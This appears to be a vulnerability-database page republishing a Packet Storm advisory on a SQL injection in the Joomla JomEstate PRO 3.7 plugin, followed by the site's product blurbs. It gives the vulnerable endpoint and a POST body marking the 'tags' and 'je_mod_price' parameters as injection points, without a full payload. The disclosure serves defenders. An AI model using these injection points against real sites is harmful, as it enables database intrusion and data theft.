Lucene search
K

Joomla JomEstate PRO 3.7 SQL Injection

🗓️ 30 Dec 2017 00:00:00Reported by Bilal KardadouType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Joomla JomEstate PRO 3.7 SQL Injection via POST parameter tags and je_mod_pric

Code
`################################################  
#Title: Joomla JomEstate PRO 3.7 - SQL Injection  
#Credit: Bilal KARDADOU  
#Vendor: http://comdev.eu  
#URL:  
https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/jomestate-pro/  
#Product: 'Joomla JomEstate PRO 3.7'  
#Developer: Comdev  
#Extension type: Plugin  
#Last updated: Oct 29 2017  
#Compatibility: 3.X  
#Type: Paid download  
#Google Dork: N/A  
################################################  
#  
# Description:  
# Real Estate JomEstate component allows you to create an Real Estate  
Portal or Real Estate Agency Website in minutes.  
# It is perfect for independent estate agents, property rental companies  
and property developers!  
#  
# POST -p [tags & je_mod_price]  
#  
#  
http://127.0.0.1/joomla/index.php?option=com_jomcomdev&task=maps.itemsje&format=json&extension=com_jomestate&limit=100  
#  
#  
address-lat-lng=&distance=25&latitude=&longitude=&tags=[SQL]&categories_id=69&categories_type_id=&je_mod_price=0%3B5000000[SQL]&search=&favorites=0&featured=0&7c9b27566c6137c71bed4d786aea0322=1&  
#  
# PoC:  
# https://prnt.sc/hu0ha2  
#  
# Bilal KARDADOU - https://www.linkedin.com/in/kardadou/)  
################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Dec 2017 00:00Current
0.9Low risk
Vulners AI Score0.9
43